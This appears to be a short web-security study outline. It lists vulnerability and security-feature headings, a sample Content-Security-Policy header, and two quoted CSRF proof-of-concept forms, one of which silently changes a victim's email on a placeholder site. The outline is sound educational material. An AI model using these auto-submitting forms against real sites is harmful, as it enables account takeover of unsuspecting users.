Web app security

Vulnerabilities

SQL Injection (sqli)

Cross-Site Scripting (XSS)

Cross-Site Request Forgery (CSRF)

<!-- example from https://portswigger.net/web-security/csrf -->
<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
<!-- example from https://support.detectify.com/support/solutions/articles/48001048951-login-csrf -->
<form id="LoginForm" action="http://target/login.php" method="post">
    <input name="user" value="foo">
    <input name="pass" type="password" value="bar">
    <input type="submit">
</form>

<script>
    document.getElementById("LoginForm").submit();
</script>

Server-Side Request Forgery (SSRF)

Authentication/Authorization (AuthN/AuthZ)

Parsing Dangerous File Formats

Server-Side Template Injection (SSTI)

Insecure Dependencies

Security features

JSON Web Tokens (JWT)

Refresh Tokens

CORS (Cross-Origin Resource Sharing)

Content-Security-Policy

Content-Security-Policy: default-src 'self'; img-src *; media-src example.org example.net; script-src userscripts.example.com

See also